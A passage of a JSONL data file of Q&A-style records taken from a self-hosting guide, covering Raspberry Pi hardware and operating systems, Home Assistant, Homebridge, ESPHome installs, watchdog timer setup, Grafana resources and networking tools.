optional.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318695"}
{"id": "gh_e2c3fd02bcbd", "question": "How to: Raspberry Pi", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318703"}
{"id": "gh_345f75289ae5", "question": "How to: Models of Raspberry Pi boards", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n**Raspberry Pi 4 Model B**\n[Check out the Raspberry Pi 4](https://www.raspberrypi.org/products/raspberry-pi-4-model-b/)\n\n**Raspberry Pi 4 Model B Hardware Specifications**\n\n - Broadcom BCM2711, Quad core Cortex-A72 (ARM v8) 64-bit SoC @ 1.5GHz\n - 2GB, 4GB or 8GB LPDDR4-3200 SDRAM (depending on model)\n - 2.4 GHz and 5.0 GHz IEEE 802.11ac wireless \n - Bluetooth 5.0, BLE\n - Gigabit Ethernet\n - 2 USB 3.0 ports; 2 USB 2.0 ports.\n - Raspberry Pi standard 40 pin GPIO header (fully backwards compatible with previous Pi boards)\n - 2 × micro-HDMI ports (up to 4kp60 supported)\n - OpenGL ES 3.0 graphics\n\n**Raspberry Pi 400 Personal Computer Kit**\n[Check out the Raspberry Pi 400 Personal Computer Kit](https://www.raspberrypi.org/products/raspberry-pi-400/)\n\n**Raspberry Pi 400 Hardware Specifications**\n\n - Broadcom BCM2711, Quad core Cortex-A72 (ARM v8) 64-bit SoC @ 1.8GHz\n - 4GB LPDDR4-3200 SDRAM \n - 2.4 GHz and 5.0 GHz IEEE 802.11ac wireless \n - Bluetooth 5.0, BLE\n - Gigabit Ethernet\n - 2 USB 3.0 ports; 2 USB 2.0 ports.\n - Raspberry Pi standard 40 pin GPIO header \n - 2 × micro-HDMI ports (up to 4kp60 supported)\n - OpenGL ES 3.0 graphics\n \n **Raspberry Pi Pico Microcontroller**\n[Check out the Raspberry Pi Pico](https://www.raspberrypi.org/products/raspberry-pi-pico/)\n\n**Raspberry Pi Pico Hardware Specifications**\n\n - RP2040 microcontroller chip designed by Raspberry Pi in the UK\n - Dual-core Arm Cortex-M0+ processor, flexible clock running up to 133 MHz\n - 264KB on-chip SRAM\n - 2MB on-board QSPI Flash\n - 26 multifunction GPIO pins, including 3 analogue inputs\n - 2 × UART, 2 × SPI controllers, 2 × I2C controllers, 16 × PWM channels\n - 1 × USB 1.1 controller and PHY, with host and device support\n - 8 × Programmable I/O (PIO) state machines for custom peripheral support\n - Castellated module allows soldering direct to carrier boards\n - Drag-and-drop programming using mass storage over USB\n - Low-power sleep and dormant modes\n - Accurate on-chip clock\n - Temperature sensor\n - Accelerated integer and floating-point libraries on-chip\n\n**Raspberry Pi OS. The default Operating System for every Raspberry Pi device**\n\n[Check out Raspberry Pi OS](https://www.raspberrypi.org/software/operating-systems/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318715"}
{"id": "gh_e88cd6123cb7", "question": "How to: Raspberry Pi Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Raspberry Pi](https://www.raspberrypi.org/) is an ARM powered single board computer(SBC) that is the size of a credit card and costs around $35.\n\n[Raspberry Pi Foundation](https://www.raspberrypi.org/about/) is a UK-based charity that works to put the power of computing and digital making into the hands of people all over the world.\n\n[Microsecond accurate NTP with a Raspberry Pi and PPS GPS](https://austinsnerdythings.com/2021/04/19/microsecond-accurate-ntp-with-a-raspberry-pi-and-pps-gps/)\n\n[Getting Started with Raspberry Pi Projects](https://projects.raspberrypi.org/)\n\n[Online learning for the Raspberry Pi](https://www.raspberrypi.org/training/online/)\n\n[Raspberry Pi Training Program](https://www.raspberrypi.org/training/)\n\n[Raspberry Pi Online Courses on Udemy](https://www.udemy.com/topic/raspberry-pi/)\n\n[Raspberry Pi Online Courses on Coursera](https://www.coursera.org/courses?languages=en&query=raspberry%20pi)\n\n[The Raspberry Pi Platform and Python Programming course on Coursera](https://www.coursera.org/learn/raspberry-pi-platform)\n\n[Learning Raspberry Pi with Online Courses on edX](https://www.edx.org/learn/raspberry-pi)\n\n[Raspberry Pi Online Training Courses on LinkedIn Learning](https://www.linkedin.com/learning/topics/raspberry-pi)\n\n[Getting Started with Raspberry Pi course on FutureLearn](https://www.futurelearn.com/courses/getting-started-with-your-raspberry-pi)\n\n[Home Assistant on Raspberry Pi](https://www.home-assistant.io/getting-started/)\n\n[PiSwitch: Build your own Nintendo Switch-style console](https://magpi.raspberrypi.org/articles/piswitch-nintendo-switch-console)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318723"}
{"id": "gh_3b005adcbe80", "question": "How to: Raspberry Pi Operating Systems", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Raspberry Pi OS](https://www.raspberrypi.org/software/operating-systems/)\n\n[Hass.io(Home Assistant OS)](https://www.home-assistant.io/hassio/installation/)\n\n[OmniROM(Android 11) based on ASOP](https://forum.xda-developers.com/t/omnirom-android-r-11-for-pi-4.4183121/)\n\n[Manjaro Linux ARM](https://manjaro.org/download/#ARM)\n\n[Arch Linux ARM](https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4)\n\n[Ubuntu MATE for Raspberry Pi](https://ubuntu-mate.org/ports/raspberry-pi/)\n\n[Ubuntu Desktop for Raspberry Pi](https://ubuntu.com/raspberry-pi)\n\n[Ubuntu Core on a Raspberry Pi](https://ubuntu.com/download/raspberry-pi-core)\n\n[Ubuntu Server for ARM](https://ubuntu.com/download/server/arm)\n\n[Fedora ARM](https://arm.fedoraproject.org)\n\n[Kali Linux for the Raspberry Pi](https://www.kali.org/docs/arm/kali-linux-raspberry-pi/)\n\n[Twister OS](https://twisteros.com/)\n\n[TitusPi](https://github.com/ChrisTitusTech/TitusPi)\n\n[RetroArch](https://www.retroarch.com/?page=platforms)\n\n[RetroPie](https://retropie.org.uk/)\n\n[LibreELEC](https://libreelec.tv/)\n\n[OSMC](https://osmc.tv)\n\n[RISC OS](https://www.riscosopen.org/content/)\n\n[DietPi](https://github.com/MichaIng/DietPi)\n\n[Windows 10 IoT Core](https://docs.microsoft.com/en-us/windows/iot-core/windows-iot-core)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318730"}
{"id": "gh_8454764e83fa", "question": "How to: Raspberry Pi Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Raspberry Pi Imager](https://www.raspberrypi.org/software/) is the quick and easy way to install Raspberry Pi OS and other operating systems to a microSD card, ready to use with your Raspberry Pi.\n\n[Raspberry Pi Locator](https://rpilocator.com/) is a website to track Raspberry Pi 4 model B, Compute Module 4, Pi Zero 2 W, and Pico availability across multiple retailers in different countries.\n\n[Raspberry Pi Network Install (Beta)](https://www.raspberrypi.com/documentation/computers/getting-started.html#installing-over-the-network-beta) is a feature can be used to start the Raspberry Pi Imager application directly on a Raspberry Pi 4, or a Raspberry Pi 400, by downloading it from the internet using an Ethernet cable. The Raspberry Pi Imager application, which will run in memory on your Raspberry Pi, can then be used to flash the operating system onto a blank SD Card or USB disk, just like normal. \n\n[Raspberry Pi Bootloader](https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#updating-the-bootloader) is a feature, which is now available in beta, that utilize an **EEPROM(Electrically Erasable Programmable Read-Only Memory)** to store the system’s bootloader. This EEPROM is persistent storage that is located on the Pi’s mainboard. The advantage of using the EEPROM instead is that the Raspberry Pi 4 can perform tasks without needing any storage to be attached.\n\n[Etcher](https://www.balena.io/etcher/) is an open source, cross-platform software that makes it easy to flash operating system images to a microSD card or USB device.\n\n[Home Assistant](https://www.home-assistant.io/) is an open source home automation that puts local control and privacy first. Home Assistant is powered by a worldwide community of tinkerers and DIY enthusiasts that runs great on Raspberry Pi. \n\n[Gladys Assistant](https://github.com/gladysassistant/gladys) is a  privacy-first, open-source home assistant and runs great on Raspberry Pi.\n\n[Kodi for Raspberry Pi](https://kodi.tv/download/853) is a free and open source media player application developed by the XBMC/Kodi Foundation.\n\n[Pi-hole](https://pi-hole.net/) is a [DNS sinkhole](https://en.wikipedia.org/wiki/DNS_Sinkhole) that protects your devices from unwanted content, without installing any client-side software, intended for use on a private network. It is designed for use on embedded devices with network capability, such as the Raspberry Pi, but it can be used on other machines running Linux and cloud implementations.\n\n[PiKVM](https://github.com/pikvm/pikvm) is a very simple and fully functional Raspberry Pi-based KVM over IP.\n\n[PiShrink](https://github.com/Drewsif/PiShrink) is a bash script that automatically shrink a pi image that will then resize to the max size of the SD card on boot. \n\n[RPiPlay](https://github.com/FD-/RPiPlay) is an open-source implementation of an AirPlay mirroring server for the Raspberry Pi that supports iOS 9 and later.\n\n[Gpiozero](https://github.com/gpiozero/gpiozero) is a simple interface to GPIO(General-Purpose Input/Output) devices with the Raspberry Pi.\n\n[Balena Sound](https://sound.balenalabs.io/) is a single or multi-room streamer for an existing audio device using a Raspberry Pi! It supports Bluetooth, Airplay and Spotify Connect.\n\n[OpenBalena](https://balena.io/open) is a platform to deploy and manage connected devices.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318742"}
{"id": "gh_16f7e0b42d85", "question": "How to: Home Assistant", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n[Home Assistant](https://home-assistant.io/hassio/) is a container-based system for managing your Home Assistant Core installation and related applications. The system is controlled via Home Assistant which communicates with the Supervisor. The Supervisor provides an API to manage the installation. This includes changing network settings or installing and updating software.\n\n**Quick Links**\n\n - [Getting Started with Home Assistant](https://home-assistant.io/getting-started)\n - [Home Assistant for Raspberry Pi](https://www.home-assistant.io/installation/raspberrypi/)\n - [Installing Home Assistant OS using Proxmox 7](https://github.com/Kanga-Who/home-assistant/blob/master/Home%20Assistant%20with%20Proxmox%20installation.md)\n\n[Home Assistant Frontend](https://demo.home-assistant.io/) is a frontend for Home Assistant. \n\n#### Tools to write the HA image to your boot media(microSD card or USB device)\n\n[Raspberry Pi Imager](https://www.raspberrypi.org/software/) is the quick and easy way to install Raspberry Pi OS and other operating systems to a microSD card, ready to use with your Raspberry Pi.\n[Etcher](https://www.balena.io/etcher/) is an open source, cross-platform software that makes it easy to flash operating system images to a microSD card or USB device.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318750"}
{"id": "gh_559d735581d8", "question": "How to: Homebridge", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n[Homebridge](https://homebridge.io/) is a software frameowrk that allows you to integrate with smart home devices that do not natively support [HomeKit](https://www.apple.com/shop/accessories/all/homekit). There are over 2,000 Homebridge plugins supporting thousands of different smart accessories. \n\n- [Official Homebridge Raspberry Pi Image](https://github.com/homebridge/homebridge-raspbian-image/wiki/Getting-Started)\n- [Setup Homebridge on a Raspberry Pi (Raspbian)](https://github.com/homebridge/homebridge/wiki/Install-Homebridge-on-Raspbian)\n- [Setup Homebridge on Debian or Ubuntu](https://github.com/homebridge/homebridge/wiki/Install-Homebridge-on-Debian-or-Ubuntu-Linux)\n- [Setup Homebridge on Red Hat, CentOS Stream or Fedora](https://github.com/homebridge/homebridge/wiki/Install-Homebridge-on-Red-Hat%2C-CentOS-or-Fedora-Linux) \n- [Setup Homebridge on Docker (Linux)](https://github.com/homebridge/homebridge/wiki/Install-Homebridge-on-Docker)\n\n#### Tools to write the Homebridge image to your boot media(microSD card or USB device)\n\n[Raspberry Pi Imager](https://www.raspberrypi.org/software/) is the quick and easy way to install Raspberry Pi OS and other operating systems to a microSD card, ready to use with your Raspberry Pi.\n[Etcher](https://www.balena.io/etcher/) is an open source, cross-platform software that makes it easy to flash operating system images to a microSD card or USB device.\n[Homebridge UI](https://github.com/oznu/homebridge-config-ui-x) is a tool that provides an easy to use interface to manage your Homebridge plugins, configuration and accessories.\n\n   - Install and configure Homebridge plugins.\n   - Monitor your Homebridge server via a fully customisable widget-based dashboard.\n   - View and control Homebridge accessories.\n   - Backup and Restore your Homebridge instance.\nHomebridge UI", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318771"}
{"id": "gh_8ed73724b6f8", "question": "How to: Install ESPHome using Home Assistant", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "In [Home Assistant](https://www.home-assistant.io/integrations/esphome/) go to: \n\n  **Configuration > Add-ons, Backups & Supervisor > Add-on Store (button in the lower right corner) or click on the My Home Assistant Link below:**\n\nOpen your Home Assistant instance and show the Supervisor add-on store.\n\n[![ESPHome HA](https://user-images.githubusercontent.com/45159366/178136849-9a5deed7-beb8-4a62-aeda-ce9aec3fac3e.svg)](https://my.home-assistant.io/redirect/config_flow_start?domain=esphome)\n\n   -  Next, search for ESPHome, click on the result and then click on the Install button.\n-  When the installation is finished, the Install button will be replaced with Start button – click on it to start the ESPHome add-on.\n-  Wait a few seconds for the ESPHome to start and then click on the Open Web UI button.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318781"}
{"id": "gh_ff3bb6690e51", "question": "How to: Install ESPHome using Docker", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "- First thing is to pull the [ESPHome Docker image from Docker Hub](https://hub.docker.com/u/esphome) (Online). \n\n    ```docker pull esphome/esphome```\n\n  - Then, start the ESPHome wizard. This wizard will ask you about your device type, your device name, your WiFi credentials and finally will generate a yaml file containing all of the configurations for you. \n   \n   ```docker run --rm -v \"${PWD}\":/config -it esphome/esphome wizard stl.yaml```\n  \n   -  Now, connect your ESP device to the device where Docker is running (either using an USB cable or Serial-To-USB adapter) and if you are on Linux type the following command :\n\n   ```dmesg | grep ttyUSB```\n   \n   - Put your device in programming mode (if needed) and execute the next command to install the ESPHome on the device connected to the /dev/ttyUSB1 using the configuration stored in stl.yaml file \n   \n  ```docker run --rm -v \"${PWD}\":/config --device=/dev/ttyUSB1 -it esphome/esphome run stl.yaml```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318787"}
{"id": "gh_741f9f2ac49a", "question": "How to: Install ESPHome using Python", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "- If you are on macOS or Linux check if Python 3.8 or later is installed by executing the command.\n  \n ```python3 --version```\n  \n - If you are on macOS, you need to install wheel and esphome packages by using the following command.\n  \n ```pip3 install wheel esphome```\n  \n - If you are on Linux, you have to install esphome package by using the following command.\n  \n  ```pip3 install --user esphome```\n   \n - If you are on macOS or Linux you can start the ESPHome wizard using the following command.\n  \n  ```esphome wizard stl-python.yaml```\n   \n - Finally, connect your ESP device to your Computer (using USB cable or Serial-To-usb adapter) and put it in programming mode (if needed). Then, Install ESPHome using the configuration in the stl-python.yaml file.\n  \n  ```esphome run stl-python.yaml```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318792"}
{"id": "gh_90fc3132627f", "question": "How to: Turning Raspberry Pi into a Router", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n#### Software\n\n[OpenWrt Project](https://openwrt.org/) is a Linux operating system targeting embedded devices. Instead of trying to create a single, static firmware, OpenWrt provides a fully writable filesystem with package management. It's primarily used on embedded devices to route network traffic.\n\n  * [OpenWrt Wiki - Raspberry Pi setup](https://openwrt.org/toh/raspberry_pi_foundation/raspberry_pi)\n\n**Download the appropriate OpenWrt image for your Raspberry PI by going to the link above.**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318797"}
{"id": "gh_251016c411c5", "question": "How to: Tools to write the Operating System (OS) image to your boot media(microSD card)", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Raspberry Pi Imager](https://www.raspberrypi.org/software/) is the quick and easy way to install Raspberry Pi OS and other operating systems to a microSD card, ready to use with your Raspberry Pi.\n#### Hardware\n\n[Raspberry Pi Router Board for CM4 module (Cost: $55 USD)](https://www.seeedstudio.com/CM4-Router-Board-p-5211.html) is an expansion board based on the Raspberry Pi Compute Module 4. It brings Raspberry Pi CM4 two full-speed gigabit network ports and offers better performance, lower CPU usage, and higher stability for a long time work compared with a USB network card. It's compatible with [Raspberry Pi OS](https://www.raspberrypi.com/software/operating-systems/), [Ubuntu Server](https://ubuntu.com/download/raspberry-pi) and other Raspberry Pi systems.\nRaspberry Pi Router Board for CM4 module\n**Technical Specs:**\n\n * Compatible Module: Raspberry Pi Compute Module 4 series.\n * BCM2711 4 core @ 1.5GHz Cortex-A72.\n * Support standard Raspberry Pi HAT interface.\n * Support POE HAT to supply power to the board.\n * Support POE HAT for external power supply.\n * Full-speed dual gigabit network interface.\n * Master-slave dual USB2.0 interface.\n * Micro SD card slot, used to support non-eMMC version of CM4.\n * Standard HDMI video output interface.\n * 0.91 inch IIC OLED display.\n * 5V DC fan interface(Support controlling via PWM signal).\n * Ethernet: high-performance Gigabit ethernet controller RTL8111E chip, JXD 2111x G2406s chip as isolation transformer.\n   * Port0: Compute Module 4 Built-In.\n   * Port1: PCI Express 1000BASE-T NIC.\n * GPIO: 40-Pin GPIO compatible with Raspberry Pi.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318806"}
{"id": "gh_dc9b321a8e5e", "question": "How to: Setting Watchdog Timer (WDT) on Raspberry Pi", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Watchdog Timer (WDT)](https://en.wikipedia.org/wiki/Watchdog_timer) is a timer that monitors microcontroller (MCU) programs to see if they are out of control or have stopped operating.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318810"}
{"id": "gh_a9db1053576a", "question": "How to: Installing and enabling WDT service", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "To enable watchdog you have to change the boot parameters by adding **dtparam=watchdog=on** in **/boot/config.txt** using a text editor such as nano, vim, gedit, etc.. Also, install watchdog package and enable it to start at startup. Also, make sure to restart your Raspberry Pi for these settings to take effect.\n\n```pi@raspberrypi:~ $ sudo apt install watchdog```\n\n```pi@raspberrypi:~ $sudo systemctl enable watchdog```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318815"}
{"id": "gh_d0ae2c6126a1", "question": "How to: Configure WDT service", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "Configuration file for watchdog can be found in **/etc/watchdog.conf**. \n\n```\nmax-load-1 = 24\nwatchdog-device = /dev/watchdog\nrealtime = yes\npriority = 1\n```\n\n**To start the WTD service:**\n\n```pi@raspberrypi:~ $ sudo systemctl start watchdog```\n\n**Check watchdog status:**\n\n```pi@raspberrypi:~ $ sudo systemctl status watchdog```\n\n**To stop the service:**\n\n```pi@raspberrypi:~ $ sudo systemctl stop watchdog```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318820"}
{"id": "gh_870bb7f54ab1", "question": "How to: Raspberry Pi Upgrades", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Raspberry Pi Cases from Pi-Shop US](https://www.pishop.us/product-category/raspberry-pi/pi-cases/)\n[Raspberry Pi Cases from The Pi Hut](https://thepihut.com/collections/raspberry-pi-cases)\n[X825 expansion board](https://www.amazon.com/Geekworm-Raspberry-Storage-Expansion-Compatible/dp/B07VXF2HJG) provides a complete storage solution for newest Raspberry Pi 4 Model B, it supports up to 4TB 2.5-inch SATA hard disk drives (HDD) / solid-state drive (SSD).\n[Sabrent M.2 SSD [NGFF] to USB 3.0 / SATA III 2.5-Inch Aluminum Enclosure Adapter](https://www.amazon.com/Sabrent-2-5-Inch-Aluminum-Enclosure-EC-M2CU/dp/B07924J5NT/ref=sr_1_10?crid=28O2JRHO9DE4G&dchild=1&keywords=m.2+to+usb+3.0+adapter&qid=1616632834&sprefix=m.2+to+usb,aps,236&sr=8-10)\n[Samsung 970 EVO 250GB - NVMe PCIe M.2 2280 SSD](https://www.amazon.com/dp/B07BN5FJZQ/ref=twister_B08KGF1DPF?_encoding=UTF8&psc=1)\n[Western Digital 1TB WD Blue SN550 NVMe Internal SSD](https://www.amazon.com/dp/B07YFF8879/ref=twister_B082KVPKQ5?_encoding=UTF8&psc=1)\n[SAMSUNG T5 Portable SSD](https://www.amazon.com/Samsung-500GB-Portable-Solid-State/dp/B074WZJ4MF/ref=sr_1_4?crid=343DRDX8SJJV6&dchild=1&keywords=samsung+t5+portable+ssd&qid=1616632092&sprefix=samsung+t5+portable,aps,374&sr=8-4)\n[Samsung SSD 860 EVO 250GB mSATA Internal SSD](https://www.amazon.com/Samsung-250GB-mSATA-Internal-MZ-M6E250BW/dp/B07864YNTZ/ref=sr_1_8?crid=2KRBSPRQYUIOH&dchild=1&keywords=samsung+850+evo+msata&qid=1616632277&sprefix=samsung+850+evo+m,aps,233&sr=8-8)\n[Samsung 850 EVO 120GB SSD mSATA](https://www.amazon.com/Samsung-850-120GB-mSATA-MZ-M5E120BW/dp/B00TGIVQ4G/ref=sr_1_9?crid=2KRBSPRQYUIOH&dchild=1&keywords=samsung+850+evo+msata&qid=1616632277&sprefix=samsung+850+evo+m,aps,233&sr=8-9)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318829"}
{"id": "gh_11c95dc73e13", "question": "How to: Grafana Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Grafana](https://grafana.com/) is an analytics platform that enables you to query and visualize data, then create and share dashboards based on your visualizations. Easily visualize metrics, logs, and traces from multiple sources such as Prometheus, Loki, Elasticsearch, InfluxDB, Postgres, Fluentd, Fluentbit, Logstash and many more.\n\n[Getting Started with Grafana](https://grafana.com/docs/)\n\n[Grafana Community](https://community.grafana.com/)\n\n[Grafana Professional Services Training | Grafana Labs](https://grafana.com/training/)\n\n[Grafana Pro Training AWS | Grafana Labs](https://grafana.com/training/aws/)\n\n[Grafana Tutorials](https://grafana.com/tutorials/)\n\n[Top Grafana Courses on Udemy](https://www.udemy.com/topic/grafana/)\n\n[Grafana Online Training Courses | LinkedIn Learning](https://www.linkedin.com/learning/topics/grafana)\n\n[Grafana Training Courses - NobleProg](https://www.nobleprog.com/grafana-training)\n\n[Setting Up Grafana to Visualize Our Metrics Course on Coursera](https://www.coursera.org/lecture/continuous-integration/setting-up-grafana-to-visualize-our-metrics-part-4-of-10-OOMzF)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318837"}
{"id": "gh_02afd4f7bcd4", "question": "How to: Grafana Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Grafana Cloud ](https://grafana.com/products/cloud/) is a composable observability platform, integrating metrics, traces and logs with Grafana. Leverage the best open source observability software – including Prometheus, Loki, and Tempo – without the overhead of installing, maintaining, and scaling your observability stack.\n**Grafana Cloud Integrations. Source: [Grafana](https://grafana.com/products/cloud/)**\n\n[Grafana Enterprise](https://grafana.com/products/enterprise/) is a service that includes features that provide better scalability, collaboration, operations, and governance in a self-managed environment.\n**Grafana Enterprise Stack. Source: [Grafana](https://grafana.com/products/enterprise/)**\n\n[Grafana Tempo](https://grafana.com/oss/tempo/) is an open source high-scale distributed tarcing backend. Tempo is cost-efficient, requiring only object storage to operate, and is deeply integrated with Grafana, Loki, and Prometheus.\n\n[Grafana MetricTank](https://grafana.com/oss/metrictank/) is a multi-tenant timeseries platform for Graphite developed by Grafana Labs. MetricTank provides high-availability(HA) and efficient long-term storage, retrieval, and processing for large-scale environments.\n\n[Grafana Tanka](https://grafana.com/oss/tanka/) is a robust configuration utility for your [Kubernetes](https://kubernetes.io/) cluster, powered by the [Jsonnet](https://jsonnet.org/) language.\n\n[Grafana Loki](https://grafana.com/oss/loki/) is a horizontally-scalable, highly-available(HA), multi-tenant log aggregation system inspired by Prometheus.\n\n[Cortex](https://grafana.com/oss/cortex/) is a project that lets users query metrics from many Prometheusservers in a single place, without any gaps in the grpahs due to server failture. Also, Cortex lets you store Prometheus metrics for long term capacity planning and performance analysis.\n\n[Graphite](https://grafana.com/oss/graphite/) is an open source monitoring system.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318847"}
{"id": "gh_bfde3b8c4db6", "question": "How to: Networking", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318852"}
{"id": "gh_f14b8f36ceed", "question": "How to: Networking Tools & Concepts", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[cURL](https://curl.se/) is a computer software project providing a library and command-line tool for transferring data using various network protocols(HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP or SMTPS). cURL is also used in cars, television sets, routers, printers, audio equipment, mobile phones, tablets, settop boxes, media players and is the Internet transfer engine for thousands of software applications in over ten billion installations.\n\n[cURL Fuzzer](https://github.com/curl/curl-fuzzer) is a quality assurance testing for the curl project.\n\n[DoH](https://github.com/curl/doh) is a stand-alone application for DoH (DNS-over-HTTPS) name resolves and lookups.\n\n[Authelia](https://www.authelia.com/) is an open-source highly-available authentication server providing single sign-on capability and two-factor authentication to applications running behind [NGINX](https://nginx.org/en/).\n\n[nginx(engine x)](https://nginx.org/en/) is an HTTP and reverse proxy server, a mail proxy server, and a generic TCP/UDP proxy server, originally written by Igor Sysoev.\n\n[Proxmox Virtual Environment(VE)](https://www.proxmox.com/en/) is a complete open-source platform for enterprise virtualization. It inlcudes a built-in web interface that you can easily manage VMs and containers, software-defined storage and networking, high-availability 